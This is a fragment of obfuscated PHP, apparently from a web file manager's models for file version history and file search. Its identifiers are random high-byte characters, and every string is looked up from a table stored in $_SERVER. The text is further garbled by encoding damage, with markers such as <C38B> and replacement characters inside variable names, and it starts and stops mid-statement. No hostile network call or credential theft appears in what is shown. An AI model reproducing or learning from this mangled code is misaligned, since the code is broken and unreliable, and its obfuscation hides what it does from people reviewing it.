$˜½êÁ‡ƒ[12])); $¦ËÄ<C38B>Ì« = array_unique($¦ËÄ<C38B>Ì«); $ÚÛļÏ<C2BC> = array_unique(array_to_keyvalue($‚ƒ±é‰š, $˜½êÁ‡ƒ[12], $˜½êÁ‡ƒ[1763])); $åäµÀð¥ = Model($˜½êÁ‡ƒ[598])->userListInfo($ÚÛļÏ<C2BC>); $«™ÍÞÜœ = Model($˜½êÁ‡ƒ[899])->sourceListInfo($¦ËÄ<C38B>Ì«, !0); foreach ($‚ƒ±é‰š as &$ÓëÀ) { if ($ÓëÀ[$˜½êÁ‡ƒ[33]] == $˜½êÁ‡ƒ[620] && isset($ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[1234]])) { $ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[1234]] = $«™ÍÞÜœ[$ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[1234]]]; $ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[1235]] = $«™ÍÞÜœ[$ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[1235]]]; } if ($ÓëÀ[$˜½êÁ‡ƒ[33]] == $˜½êÁ‡ƒ[2207] && isset($ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[193]])) { $ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[193]] = $«™ÍÞÜœ[$ÓëÀ[$˜½êÁ‡ƒ[526]][$˜½êÁ‡ƒ[193]]]; } $ÓëÀ[$˜½êÁ‡ƒ[90]] = $«™ÍÞÜœ[$ÓëÀ[$˜½êÁ‡ƒ[193]]]; $ÓëÀ[$˜½êÁ‡ƒ[2212]] = $«™ÍÞÜœ[$ÓëÀ[$˜½êÁ‡ƒ[2196]]]; if ($ÓëÀ[$˜½êÁ‡ƒ[33]] == $˜½êÁ‡ƒ[1930]) { $ÓëÀ[$˜½êÁ‡ƒ[2212]] = $ÓëÀ[$˜½êÁ‡ƒ[90]]; $ÓëÀ[$˜½êÁ‡ƒ[2196]] = $ÓëÀ[$˜½êÁ‡ƒ[2212]][$˜½êÁ‡ƒ[193]]; $ÓëÀ[$˜½êÁ‡ƒ[90]] = !1; $ÓëÀ[$˜½êÁ‡ƒ[193]] = $˜½êÁ‡ƒ[12]; } $ÓëÀ[$˜½êÁ‡ƒ[2139]] = $åäµÀð¥[$ÓëÀ[$˜½êÁ‡ƒ[1763]]]; } unset($ÓëÀ); $Ìî›ÊŸ[$˜½êÁ‡ƒ[445]] = $‚ƒ±é‰š; return $Ìî›ÊŸ; } public function removeBySource($úìΓÈ) { $¢ê­ä¾á = array($_SERVER[ˆ¡¹µ‹Â][491] => $úìΓÈ); $this->where($¢ê­ä¾á)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\165\162\x63\x65\x5f\150\x69\x73\164\157\x72\x79"; public function historyCount($§ð¨¡¶Â) { $÷®»­¿‹ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$§ð¨¡¶Â) { return array(); } if (is_string($§ð¨¡¶Â) || is_int($§ð¨¡¶Â)) { $§ð¨¡¶Â = array($§ð¨¡¶Â); } $Ãò•ïûÒ = array($÷®»­¿‹[193], $÷®»­¿‹[1995] => $÷®»­¿‹[565]); $¨üûò…ñ = array($÷®»­¿‹[193] => array($÷®»­¿‹[7], $§ð¨¡¶Â)); $ÇîÀÑõ<C391> = $this->field($Ãò•ïûÒ)->where($¨üûò…ñ)->group($÷®»­¿‹[193])->select(); return array_to_keyvalue($ÇîÀÑõ<C391>, $÷®»­¿‹[193], $÷®»­¿‹[565]); } public function addHistory($Í<>»íçù, $Ô§ŒóÐí = '') { $âÈÞ‰ô‚ =& $_SERVER[ˆ¡¹µ‹Â]; $¾ÜÛ¿å’ = array($âÈÞ‰ô‚[491] => $Í<>»íçù[$âÈÞ‰ô‚[193]], $âÈÞ‰ô‚[1754] => isset($Í<>»íçù[$âÈÞ‰ô‚[529]]) ? $Í<>»íçù[$âÈÞ‰ô‚[529]] : $Í<>»íçù[$âÈÞ‰ô‚[527]], $âÈÞ‰ô‚[542] => $Í<>»íçù[$âÈÞ‰ô‚[541]], $âÈÞ‰ô‚[617] => $Í<>»íçù[$âÈÞ‰ô‚[79]], $âÈÞ‰ô‚[2213] => $Ô§ŒóÐí); if ($GLOBALS[$âÈÞ‰ô‚[6]][$âÈÞ‰ô‚[92]][$âÈÞ‰ô‚[1295]] >= 1) { $this->historyAutoClear($¾ÜÛ¿å’[$âÈÞ‰ô‚[193]]); $this->add($¾ÜÛ¿å’); } Hook::trigger($âÈÞ‰ô‚[2214], $¾ÜÛ¿å’); Model($âÈÞ‰ô‚[2215])->eventFileEdit($Í<>»íçù[$âÈÞ‰ô‚[193]]); } private function historyAutoClear($¿å•Áä¾) { $ÁåÔÏÚ¦ =& $_SERVER[ˆ¡¹µ‹Â]; $Óâ<C393>±ºÜ = Model($ÁåÔÏÚ¦[837])->get($ÁåÔÏÚ¦[1317]); $ªô‚úóÉ = intval($GLOBALS[$ÁåÔÏÚ¦[6]][$ÁåÔÏÚ¦[92]][$ÁåÔÏÚ¦[1295]]); $Æ“<C386>Å<EFBFBD>Ñ = $Óâ<C393>±ºÜ == $ÁåÔÏÚ¦[1318] ? min(5, $ªô‚úóÉ) : $ªô‚úóÉ; $Æ“<C386>Å<EFBFBD>Ñ = $Æ“<C386>Å<EFBFBD>Ñ <= 0 ? 0 : $Æ“<C386>Å<EFBFBD>Ñ - 1; if ($Æ“<C386>Å<EFBFBD>Ñ >= 499) { return; } $ßÛ¾éý = array($ÁåÔÏÚ¦[491] => $¿å•Áä¾); $Ë<>ûþ = $this->field($ÁåÔÏÚ¦[2216])->where($ßÛ¾éý)->order($ÁåÔÏÚ¦[2210])->select(); if (!$Ë<>ûþ || $Æ“<C386>Å<EFBFBD>Ñ >= count($Ë<>ûþ)) { return; } $¢°¸áൠ= array_to_keyvalue($Ë<>ûþ, $ÁåÔÏÚ¦[12], $ÁåÔÏÚ¦[475]); $¢°¸áൠ= array_slice($¢°¸áàµ, $Æ“<C386>Å<EFBFBD>Ñ); $Ž”Äû†ƒ = array_to_keyvalue($Ë<>ûþ, $ÁåÔÏÚ¦[12], $ÁåÔÏÚ¦[541]); $Ž”Äû†ƒ = array_slice($Ž”Äû†ƒ, $Æ“<C386>Å<EFBFBD>Ñ); if (!$¢°¸áൠ|| !$Ž”Äû†ƒ) { return; } $ßÛ¾éý = array($ÁåÔÏÚ¦[493] => array($ÁåÔÏÚ¦[7], $¢°¸áàµ)); $this->where($ßÛ¾éý)->delete(); Model($ÁåÔÏÚ¦[544])->remove($Ž”Äû†ƒ); } public function listData($üˆÏÀÝô) { $á·€çýž =& $_SERVER[ˆ¡¹µ‹Â]; $Íפ­ƒ<C2AD> = array($á·€çýž[491] => $üˆÏÀÝô); $÷üóªÊì = $á·€çýž[2217]; $Á¯ýÆ‚‹ = $this->field($÷üóªÊì)->where($Íפ­ƒ<C2AD>)->order($á·€çýž[2210])->selectPage(); $this->_listAppendUser($Á¯ýÆ‚‹[$á·€çýž[445]]); $ÔýÂÛ”· = Model($á·€çýž[837])->get($á·€çýž[1317]); $<24>…±¹ö÷ = 5; if ($ÔýÂÛ”· == $á·€çýž[1318]) { $Á¯ýÆ‚‹[$á·€çýž[445]] = array_slice($Á¯ýÆ‚‹[$á·€çýž[445]], 0, $<24>…±¹ö÷); $Á¯ýÆ‚‹[$á·€çýž[442]] = array($á·€çýž[2218] => 1, $á·€çýž[2219] => 20, $á·€çýž[2220] => 1, $á·€çýž[2221] => count($Á¯ýÆ‚‹[$á·€çýž[445]])); } return $Á¯ýÆ‚‹; } protected function _listAppendUser(&$ø¤Ì<C2A4>ý) { $¤ï¹§ž– =& $_SERVER[ˆ¡¹µ‹Â]; $æ™ãÝ–Ù = array_to_keyvalue($ø¤Ì<C2A4>ý, $¤ï¹§ž–[12], $¤ï¹§ž–[1763]); $ñØèœÎ³ = Model($¤ï¹§ž–[598])->userListInfo($æ™ãÝ–Ù); foreach ($ø¤Ì<C2A4>ý as &$ǽÆÈ“ú) { $į»Îøö = $ǽÆÈ“ú[$¤ï¹§ž–[1763]]; $ǽÆÈ“ú[$¤ï¹§ž–[527]] = $ñØèœÎ³[$į»Îøö] ? $ñØèœÎ³[$į»Îøö] : !1; } unset($ǽÆÈ“ú); } public function fileInfo($²éѶ–é) { $–¥³ØÇÚ =& $_SERVER[ˆ¡¹µ‹Â]; $ÝòÞ = $this->tablePrefix; $™®°ç™Ø = "{$ÝòÞ}\x69\x6f\137\146\x69\154\x65\x20\x66\x69\x6c\x65\163\40\157\156\x20\146\x69\x6c\145\x73\56\146\x69\154\x65\x49\104\x20\75\x20\x68\151\163\x74\x6f\x72\171\x2e\x66\x69\x6c\x65\111\x44"; return $this->alias($–¥³ØÇÚ[2222])->where(array($–¥³ØÇÚ[493] => $²éѶ–é))->join($™®°ç™Ø, $–¥³ØÇÚ[2223])->find(); } public function removeItem($Þ–҈ä) { $½¨Äݹõ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>´<EFBFBD>£ô÷ = array($½¨Äݹõ[493] => $Þ–҈ä); $¼ÓŽó¶Ž = $this->where($<24>´<EFBFBD>£ô÷)->find(); if ($¼ÓŽó¶Ž) { $òá<C3B2>Á¶É = $this->where($<24>´<EFBFBD>£ô÷)->delete(); Model($½¨Äݹõ[544])->remove($¼ÓŽó¶Ž[$½¨Äݹõ[541]]); return $òá<C3B2>Á¶É; } return !1; } public function removeBySource($ÉŠžäú¤) { $Ö€ â€Š =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ÉŠžäú¤) { return !1; } if (!is_array($ÉŠžäú¤)) { $ÉŠžäú¤ = array($ÉŠžäú¤); } $Îøû¥Ýù = array($Ö€ â€Š[491] => array($Ö€ â€Š[7], $ÉŠžäú¤)); $¥œøÕê• = $this->field($Ö€ â€Š[542])->where($Îøû¥Ýù)->select(); if ($¥œøÕê•) { $this->where($Îøû¥Ýù)->delete(); $ÕâáÌÞŒ = array_to_keyvalue($¥œøÕê•, $Ö€ â€Š[12], $Ö€ â€Š[541]); Model($Ö€ â€Š[544])->remove($ÕâáÌÞŒ); } return !0; } public function setDetail($™’¢÷Õ , $øˆô²ÒÍ) { $ Ž…<C5BD>Àé =& $_SERVER[ˆ¡¹µ‹Â]; return $this->where(array($ Ž…<C5BD>Àé[493] => $™’¢÷Õ ))->save(array($ Ž…<C5BD>Àé[2213] => $øˆô²ÒÍ)); } public function rollbackToItem($ߢóˆˆö, $íÍÍ“÷†) { $‡»ë™·Å =& $_SERVER[ˆ¡¹µ‹Â]; $ý™·ìƒï = Model($‡»ë™·Å[899])->sourceInfo($ߢóˆˆö); $this->addHistory($ý™·ìƒï, LNG($‡»ë™·Å[2224])); $»œ¡Ä<C2A1>÷ = $this->find($íÍÍ“÷†); $ƒµÈêÀØ = array($‡»ë™·Å[541] => $»œ¡Ä<C2A1>÷[$‡»ë™·Å[541]], $‡»ë™·Å[79] => $»œ¡Ä<C2A1>÷[$‡»ë™·Å[79]], $‡»ë™·Å[88] => time(), $‡»ë™·Å[529] => USER_ID); Model($‡»ë™·Å[899])->where(array($‡»ë™·Å[193] => $ߢóˆˆö))->save($ƒµÈêÀØ); return $this->where(array($‡»ë™·Å[493] => $íÍÍ“÷†))->delete(); } public function clearSame($ʰÙîÞª) { $Ç⢿›£ =& $_SERVER[ˆ¡¹µ‹Â]; $ûäæ²ªü = $this->listData($ʰÙîÞª); $Üð†°<E280A0>Ó = array_to_keyvalue_group($ûäæ²ªü, $Ç⢿›£[541]); $ò<>×ÔÇ = array(); $ÃÎÄãÙ¨ = array(); foreach ($Üð†°<E280A0>Ó as $ØêÚÖÕ¬) { if (!$ØêÚÖÕ¬ || count($ØêÚÖÕ¬) <= 1) { continue; } foreach ($ØêÚÖÕ¬ as $ªë<C2AA>¿õú) { $ò<>×ÔÇ[] = $ªë<C2AA>¿õú[$Ç⢿›£[541]]; $ÃÎÄãÙ¨[] = $ªë<C2AA>¿õú[$Ç⢿›£[475]]; } } if (!$ÃÎÄãÙ¨) { return; } $this->where(array($Ç⢿›£[475] => array($Ç⢿›£[7], $ÃÎÄãÙ¨)))->delete(); Model($Ç⢿›£[544])->remove($ò<>×ÔÇ); } public function userSpace() { $ƒ“¥Š¾Ú =& $_SERVER[ˆ¡¹µ‹Â]; $Æô²§†Ÿ = $this->tablePrefix; $Á›´ôøˆ = array($ƒ“¥Š¾Ú[1754] => USER_ID); $ð͆æéˆ = "{$Æô²§†Ÿ}\151\x6f\137\146\151\x6c\145\x20\146\151\154\x65\163\40\x6f\156\40\x66\151\154\145\163\x2e\146\x69\x6c\x65\x49\x44\40\x3d\40\x68\x69\x73\x74\x6f\162\x79\x2e\146\151\154\145\x49\104"; return $this->alias($ƒ“¥Š¾Ú[2222])->where($Á›´ôøˆ)->join($ð͆æéˆ, $ƒ“¥Š¾Ú[2223])->sum($ƒ“¥Š¾Ú[79]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($—Ã‡à“”) { $”ÛØÌ¹<C38C> =& $_SERVER[ˆ¡¹µ‹Â]; $<24>¦Ú¶ = KodIO::fileTypeList(); $çÄ™» á = $<24>¦Ú¶[$—Ã‡à“”]; if (!$çÄ™» á) { return array(); } $¥ŸÕÝ÷± = $çÄ™» á[$”ÛØÌ¹<C38C>[169]]; $ øÛ¿©ð = $”ÛØÌ¹<C38C>[7]; if (!$çÄ™» á[$”ÛØÌ¹<C38C>[169]]) { $òå<C3B2>†Ú  = array_to_keyvalue($<24>¦Ú¶, $”ÛØÌ¹<C38C>[12], $”ÛØÌ¹<C38C>[169]); $¥ŸÕÝ÷± = implode($”ÛØÌ¹<C38C>[50], $òå<C3B2>†Ú ); $ øÛ¿©ð = $”ÛØÌ¹<C38C>[2225]; } $¬<>Þëù¬ = explode($”ÛØÌ¹<C38C>[50], trim($¥ŸÕÝ÷±, $”ÛØÌ¹<C38C>[50])); return array($ øÛ¿©ð, $¬<>Þëù¬); } public function listPathType($¤š€°ðÕ) { $¤®ªÆø« =& $_SERVER[ˆ¡¹µ‹Â]; $¶’óùÜ• = $this->fileTypeWhere($¤š€°ðÕ); if (!$¶’óùÜ•) { return array(); } $÷™µ<E284A2>Ü = USER_ID; $™ø©ÁÃè = Model($¤®ªÆø«[598])->getInfo($÷™µ<E284A2>Ü); $<24>Î÷îÅß = array($¤®ªÆø«[648] => SourceModel::TYPE_USER, $¤®ªÆø«[584] => array($¤®ªÆø«[612], $¤®ªÆø«[594] . $™ø©ÁÃè[$¤®ªÆø«[90]][$¤®ªÆø«[193]] . $¤®ªÆø«[613]), $¤®ªÆø«[649] => $÷™µ<E284A2>Ü, $¤®ªÆø«[646] => 0, $¤®ªÆø«[647] => $¶’óùÜ•); return $this->listSource($<24>Î÷îÅß); } public function listSearch($ÏË­ý†š, $×½—ûø<C3BB> = 300) { $òôÃÊ®¤ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($ÏË­ý†š[$òôÃÊ®¤[2060]]) && $ÏË­ý†š[$òôÃÊ®¤[2060]]) { $ÏË­ý†š[$òôÃÊ®¤[2060]] = str_replace($òôÃÊ®¤[460], $òôÃÊ®¤[2226], trim($ÏË­ý†š[$òôÃÊ®¤[2060]])); } $û©èÊ´<C38A> = $this->_parseSearchWhere($ÏË­ý†š); if (!isset($û©èÊ´<C38A>[$òôÃÊ®¤[505]])) { $û©èÊ´<C38A>[$òôÃÊ®¤[505]] = 0; } $´È‚¥¼õ = $òôÃÊ®¤[2227]; $¬½Ø¹Ë¼ = $û©èÊ´<C38A>; $’Ë‚ê‚Ë = $´È‚¥¼õ; $this->_listSearchBindPinyin($ÏË­ý†š, $û©èÊ´<C38A>, $´È‚¥¼õ); $this->alias($òôÃÊ®¤[519])->_makeOrder(); $û©èÊ´<C38A> = $this->parseWhereLike($û©èÊ´<C38A>); $ƒë•©›Ú = $this->distinct(!0)->field($´È‚¥¼õ)->where($û©èÊ´<C38A>)->selectPage($×½—ûø<C3BB>); if ($GLOBALS[$òôÃÊ®¤[6]][$òôÃÊ®¤[457]][$òôÃÊ®¤[458]] && Input::check($ÏË­ý†š[$òôÃÊ®¤[2060]], $òôÃÊ®¤[655]) && $ƒë•©›Ú[$òôÃÊ®¤[442]][$òôÃÊ®¤[429]] == 1 && $ƒë•©›Ú[$òôÃÊ®¤[442]][$òôÃÊ®¤[443]] == 0) { $ƒë•©›Ú = $this->distinct(!0)->field($´È‚¥¼õ)->where($¬½Ø¹Ë¼)->limit(1000)->select(); $ƒë•©›Ú = array_page_split($ƒë•©›Ú, !1, $×½—ûø<C3BB>); } $this->_listSearchFileContent($ƒë•©›Ú, $ÏË­ý†š, $’Ë‚ê‚Ë, $¬½Ø¹Ë¼); $this->_listSearchDesc($ƒë•©›Ú, $ÏË­ý†š, $’Ë‚ê‚Ë); $this->_listSearchTag($ƒë•©›Ú, $ÏË­ý†š, $’Ë‚ê‚Ë); $this->_listSearchGroupTag($ƒë•©›Ú, $ÏË­ý†š, $’Ë‚ê‚Ë); $this->_listDataApply($ƒë•©›Ú[$òôÃÊ®¤[445]]); $this->_listMake($ƒë•©›Ú); return $ƒë•©›Ú; } private function _listSearchFileContent(&$³ÐÈŽþŸ, $“ê¿Ôèõ, $Ìñâ®å¦, $¼ØÄÜ“Ë) { $£ú<C2A3>„ùÌ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$“ê¿Ôèõ[$£ú<C2A3>„ùÌ[2060]] || $³ÐÈŽþŸ[$£ú<C2A3>„ùÌ[442]][$£ú<C2A3>„ùÌ[429]] > 1) { return; } if (!isset($¼ØÄÜ“Ë[$£ú<C2A3>„ùÌ[32]]) || !is_array($“ê¿Ôèõ[$£ú<C2A3>„ùÌ[541]])) { return; } $¼ØÄÜ“Ë[$£ú<C2A3>„ùÌ[541]] = array($£ú<C2A3>„ùÌ[7], $“ê¿Ôèõ[$£ú<C2A3>„ùÌ[541]]); unset($¼ØÄÜ“Ë[$£ú<C2A3>„ùÌ[32]]); unset($“ê¿Ôèõ[$£ú<C2A3>„ùÌ[541]]); $ضѱóð = $this->field($Ìñâ®å¦)->where($¼ØÄÜ“Ë)->limit($£ú<C2A3>„ùÌ[2228])->select(); if (!$ضѱóð || count($ضѱóð) == 0) { return; } $³ÐÈŽþŸ[$£ú<C2A3>„ùÌ[445]] = array_merge($ضѱóð, $³ÐÈŽþŸ[$£ú<C2A3>„ùÌ[445]]); $³ÐÈŽþŸ[$£ú<C2A3>„ùÌ[442]][$£ú<C2A3>„ùÌ[443]] += count($ضѱóð); } private function _listSearchTag(&$•àÒô¹£, $§Ö¨¸È³, $£—¨§¥µ) { $‡ôõÍ<C3B5>Ô =& $_SERVER[ˆ¡¹µ‹Â]; if (!$§Ö¨¸È³[$‡ôõÍ<C3B5>Ô[2060]] || $•àÒô¹£[$‡ôõÍ<C3B5>Ô[442]][$‡ôõÍ<C3B5>Ô[429]] > 1) { return; } $êοšÕ± = Model($‡ôõÍ<C3B5>Ô[2229])->listData(); $¶ú˜‚éê = array(); $óúæÙÐó = $§Ö¨¸È³[$‡ôõÍ<C3B5>Ô[2060]]; foreach ($êοšÕ± as $ÆÈ<C386>±¬¹) { $ÝÓ÷Ï·Õ = $ÆÈ<C386>±¬¹[$‡ôõÍ<C3B5>Ô[32]]; $Á·×¾­‘ = str_replace($‡ôõÍ<C3B5>Ô[53], $‡ôõÍ<C3B5>Ô[12], Pinyin::get($ÝÓ÷Ï·Õ)); if (stripos($ÝÓ÷Ï·Õ, $óúæÙÐó) !== !1 || stripos($Á·×¾­‘, $óúæÙÐó) !== !1) { $¶ú˜‚éê[] = $ÆÈ<C386>±¬¹[$‡ôõÍ<C3B5>Ô[475]]; } } if (!$¶ú˜‚éê) { return; } $‚À—Þ©˜ = array($‡ôõÍ<C3B5>Ô[500] => array($‡ôõÍ<C3B5>Ô[7], $¶ú˜‚éê), $‡ôõÍ<C3B5>Ô[1763] => USER_ID); $Ÿ‘ëñ⌠= Model($‡ôõÍ<C3B5>Ô[502])->field($‡ôõÍ<C3B5>Ô[87])->where($‚À—Þ©˜)->select(); $Ÿ‘ëñ⌠= array_to_keyvalue($Ÿ‘ëñâŒ, $‡ôõÍ<C3B5>Ô[12], $‡ôõÍ<C3B5>Ô[87]); $ù¶Äãš<C3A3> = array_unique($Ÿ‘ëñâŒ); $this->_listSearchMerge($•àÒô¹£, $§Ö¨¸È³, $£—¨§¥µ, $ù¶Äãš<C3A3>); } private function _listSearchDesc(&$½€Ø¾Ôú, $®‡÷´ôÒ, $íªÅã¦ù) { $·ó³Äêâ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$®‡÷´ôÒ[$·ó³Äêâ[2060]] || $½€Ø¾Ôú[$·ó³Äêâ[442]][$·ó³Äêâ[429]] > 1) { return; } $Ì«¿<C2AB>ÊÍ = array($·ó³Äêâ[97] => $·ó³Äêâ[526], $·ó³Äêâ[450] => array($·ó³Äêâ[459], $·ó³Äêâ[2062] . $®‡÷´ôÒ[$·ó³Äêâ[2060]] . $·ó³Äêâ[2062])); $€¬â‚÷÷ = !1; if ($€¬â‚÷÷) { $¹Ðìš“Ó = $this->listSearchChildren($®‡÷´ôÒ[$·ó³Äêâ[192]]); $¹Ðìš“Ó = array_unique($¹Ðìš“Ó); if (!$¹Ðìš“Ó) { return; } $Ì«¿<C2AB>ÊÍ[$·ó³Äêâ[193]] = array($·ó³Äêâ[7], $¹Ðìš“Ó); } $þßÑ̺ = Model($·ó³Äêâ[632])->field($·ó³Äêâ[193])->where($Ì«¿<C2AB>ÊÍ)->limit(5000)->select(); $×ýåè—ñ = array_to_keyvalue($þßÑ̺, $·ó³Äêâ[12], $·ó³Äêâ[193]); $this->_listSearchMerge($½€Ø¾Ôú, $®‡÷´ôÒ, $íªÅã¦ù, $×ýåè—ñ); } private function _listSearchGroupTag(&$õÙ<C399>ôŠ, $åÝÌ´°¬, $¡í³½á£) { $ÑŒ¹´¿ý =& $_SERVER[ˆ¡¹µ‹Â]; if (!$åÝÌ´°¬[$ÑŒ¹´¿ý[2060]] || $õÙ<C399>ôŠ[$ÑŒ¹´¿ý[442]][$ÑŒ¹´¿ý[429]] > 1 || !$åÝÌ´°¬[$ÑŒ¹´¿ý[192]]) { return; } $‡ êÐÄ„ = $this->sourceInfo($åÝÌ´°¬[$ÑŒ¹´¿ý[192]]); if (!$‡ êÐÄ„ || $‡ êÐÄ„[$ÑŒ¹´¿ý[190]] != SourceModel::TYPE_GROUP) { return; } $€ÖõÚó<C39A> = $‡ êÐÄ„[$ÑŒ¹´¿ý[569]]; $çȧüãÇ = Model($ÑŒ¹´¿ý[2230])->get($€ÖõÚó<C39A>); $ƒÊÒÆÉÁ = array(); $êëÍ ‡« = $åÝÌ´°¬[$ÑŒ¹´¿ý[2060]]; foreach ($çȧüãÇ[$ÑŒ¹´¿ý[445]] as $ûÅÏ®ä”) { $«Õ„݇ = $ûÅÏ®ä”[$ÑŒ¹´¿ý[32]]; $¸ºî䩌 = str_replace($ÑŒ¹´¿ý[53], $ÑŒ¹´¿ý[12], Pinyin::get($«Õ„݇)); if (stripos($«Õ„݇, $êëÍ ‡«) !== !1 || stripos($¸ºî䩌, $êëÍ ‡«) !== !1) { $ƒÊÒÆÉÁ[] = $ûÅÏ®ä”[$ÑŒ¹´¿ý[475]]; } } if (!$ƒÊÒÆÉÁ) { return; } $âÍãß…¥ = array($ÑŒ¹´¿ý[500] => array($ÑŒ¹´¿ý[7], $ƒÊÒÆÉÁ), $ÑŒ¹´¿ý[1763] => 0, $ÑŒ¹´¿ý[33] => $ÑŒ¹´¿ý[2082] . $€ÖõÚó<C39A>); $ëݶñ×€ = Model($ÑŒ¹´¿ý[502])->field($ÑŒ¹´¿ý[87])->where($âÍãß…¥)->select(); $ëݶñ×€ = array_to_keyvalue($ëݶñ×€, $ÑŒ¹´¿ý[12], $ÑŒ¹´¿ý[87]); $¢±ãà<C3A3>Ø = array_unique($ëݶñ×€); $this->_listSearchMerge($õÙ<C399>ôŠ, $åÝÌ´°¬, $¡í³½á£, $¢±ãà<C3A3>Ø); } private function _listSearchMerge(&$¼Ã‹Â·õ, $ÑõÍèä›, $‹Ë„èά, $‚¯ò÷œÂ) { $öé<C3B6>Îæ  =& $_SERVER[ˆ¡¹µ‹Â]; if (!$‚¯ò÷œÂ) { return; } $ïÄÓÌÍ<C38C> = array_to_keyvalue($¼Ã‹Â·õ[$öé<C3B6>Îæ [445]], $öé<C3B6>Îæ [12], $öé<C3B6>Îæ [193]); $–ßêáû‘ = array_diff($‚¯ò÷œÂ, $ïÄÓÌÍ<C38C>); if (!$–ßêáû‘) { return; } $†Ö€É « = array($öé<C3B6>Îæ [193] => array($öé<C3B6>Îæ [7], $–ßêáû‘)); $¾è›Ô„â = $this->field($‹Ë„èά)->where($†Ö€É «)->select(); if (!$¾è›Ô„â) { return; } $ý ÝÝÒ¿ = array(); foreach ($¾è›Ô„â as $œØÒƒºµ) { if ($this->_listSearchFilter($œØÒƒºµ, $ÑõÍèä›)) { $ý ÝÝÒ¿[] = $œØÒƒºµ; } } $¼Ã‹Â·õ[$öé<C3B6>Îæ [445]] = array_merge($ý ÝÝÒ¿, $¼Ã‹Â·õ[$öé<C3B6>Îæ [445]]); $¼Ã‹Â·õ[$öé<C3B6>Îæ [442]][$öé<C3B6>Îæ [443]] += count($ý ÝÝÒ¿); } private function _listSearchFilter($ï¿‚ª¿—, $¡„îìòá) { $Þ“ð³ç» =& $_SERVER[ˆ¡¹µ‹Â]; $’±²ŠžÁ = $ï¿‚ª¿—[$Þ“ð³ç»[485]] == $Þ“ð³ç»[91]; if (!strstr($ï¿‚ª¿—[$Þ“ð³ç»[584]], $Þ“ð³ç»[50] . $¡„îìòá[$Þ“ð³ç»[192]] . $Þ“ð³ç»[50])) { return !1; } if (isset($¡„îìòá[$Þ“ð³ç»[486]]) && $¡„îìòá[$Þ“ð³ç»[486]] != $Þ“ð³ç»[843]) { if ($¡„îìòá[$Þ“ð³ç»[486]] == $Þ“ð³ç»[78] && !$’±²ŠžÁ) { return !1; } if ($¡„îìòá[$Þ“ð³ç»[486]] != $Þ“ð³ç»[78] && $’±²ŠžÁ) { return !1; } if (!strstr($ï¿‚ª¿—[$Þ“ð³ç»[169]], $Þ“ð³ç»[50] . $¡„îìòá[$Þ“ð³ç»[486]] . $Þ“ð³ç»[50])) { return !1; } } if (isset($¡„îìòá[$Þ“ð³ç»[2231]]) && $¡„îìòá[$Þ“ð³ç»[2231]] < $ï¿‚ª¿—[$Þ“ð³ç»[79]]) { return !1; } if (isset($¡„îìòá[$Þ“ð³ç»[2232]]) && $¡„îìòá[$Þ“ð³ç»[2232]] > $ï¿‚ª¿—[$Þ“ð³ç»[79]]) { return !1; } if (isset($¡„îìòá[$Þ“ð³ç»[662]]) && $¡„îìòá[$Þ“ð³ç»[662]] != $ï¿‚ª¿—[$Þ“ð³ç»[529]]) { return !1; } return !0; } public function listSearchChildren($ŸÃÜñä, $öÌóæµÓ = 5000) { $Ïí¡×•È =& $_SERVER[ˆ¡¹µ‹Â]; $Ü<>½«ŸÙ = array(); $êÄý…ç¼ = $this->sourceInfo($ŸÃÜñä); $æ„<C3A6>Ƕ = array($Ïí¡×•È[584] => array($Ïí¡×•È[459], $êÄý…ç¼[$Ïí¡×•È[584]] . $êÄý…ç¼[$Ïí¡×•È[193]] . $Ïí¡×•È[613])); $ŽéÙâÈà = $this->field($Ïí¡×•È[79])->where($æ„<C3A6>Ƕ)->limit($öÌóæµÓ + 1)->select(); $¸øÅÀ‹– = is_array($ŽéÙâÈà) ? count($ŽéÙâÈà) : 0; if ($¸øÅÀ‹– > $öÌóæµÓ) { return $this->_listSearchChildrenNear($ŸÃÜñä, $öÌóæµÓ); } $솖ùæÎ = $this->field($Ïí¡×•È[193])->where($æ„<C3A6>Ƕ)->select(); $Ü<>½«ŸÙ = array_to_keyvalue($솖ùæÎ, $Ïí¡×•È[12], $Ïí¡×•È[193]); return $Ü<>½«ŸÙ; } private function _listSearchChildrenNear($éÞ, $ì¥ˆç«ø) { $™—ÂÀ³ä =& $_SERVER[ˆ¡¹µ‹Â]; $“Žã¯Ö<C2AF> = array(); $»ðõ«Ùœ = array($™—ÂÀ³ä[192] => $éÞ); $³µ<C2B5>©½ = $this->field($™—ÂÀ³ä[2233])->where($»ðõ«Ùœ)->select(); $ÝÝ¥á¡Á = array_to_keyvalue(array_filter_by_field($³µ<C2B5>©½, $™—ÂÀ³ä[485], $™—ÂÀ³ä[91]), $™—ÂÀ³ä[12], $™—ÂÀ³ä[193]); $“Žã¯Ö<C2AF> = array_merge($“Žã¯Ö<C2AF>, array_to_keyvalue($³µ<C2B5>©½, $™—ÂÀ³ä[12], $™—ÂÀ³ä[193])); if (!$ÝÝ¥á¡Á) { return $“Žã¯Ö<C2AF>; } $»ðõ«Ùœ = array($™—ÂÀ³ä[192] => array($™—ÂÀ³ä[7], $ÝÝ¥á¡Á)); $³µ<C2B5>©½ = $this->field($™—ÂÀ³ä[2233])->where($»ðõ«Ùœ)->limit($ì¥ˆç«ø)->select(); $“Žã¯Ö<C2AF> = array_merge($“Žã¯Ö<C2AF>, array_to_keyvalue($³µ<C2B5>©½, $™—ÂÀ³ä[12], $™—ÂÀ³ä[193])); $“Žã¯Ö<C2AF> = array_slice($“Žã¯Ö<C2AF>, 0, intval($ì¥ˆç«ø)); return $“Žã¯Ö<C2AF>; } private function _listSearchBindPinyin($ß“¯¹ÚÕ, &$¬—ҿ׆, &$ úòˆš ) { $Ó§<C393>Ñ¡ö =& 